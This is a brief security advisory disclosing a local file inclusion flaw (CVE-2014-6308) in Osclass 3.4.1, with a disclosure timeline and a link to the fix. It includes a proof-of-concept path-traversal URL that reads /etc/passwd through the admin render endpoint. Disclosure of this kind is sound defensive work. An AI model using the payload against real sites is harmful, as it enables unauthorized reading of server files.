LFI Vulnerability in Osclass

Information

Advisory by Netsparker (now Invicti)
Name: LFI Vulnerability in Osclass
Affected Software: OsClass
Affected Versions: 3.4.1 and possibly below
Vendor Homepage: http://osclass.org/
Vulnerability Type: Local File Inclusion
Severity: Critical
CVE-ID: CVE-2014-6308
Invicti Advisory Reference: NS-14-031

Description

Several local file inclusion vulnerability where discovered in Osclass, an open source project that allows you to create a classifieds sites.

Technical Details

Proof of Concept URLs for LFI in OsClass:

http://example.com/osclass/oc-admin/index.php?page=appearance&action=render&file=../../../../../../../../../../etc/passwd

For more information on local file inclusion vulnerability, see Local File Inclusion.

Advisory Timeline

03/09/2014 – First Contact
03/09/2014 – Vulnerability fixed: https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on.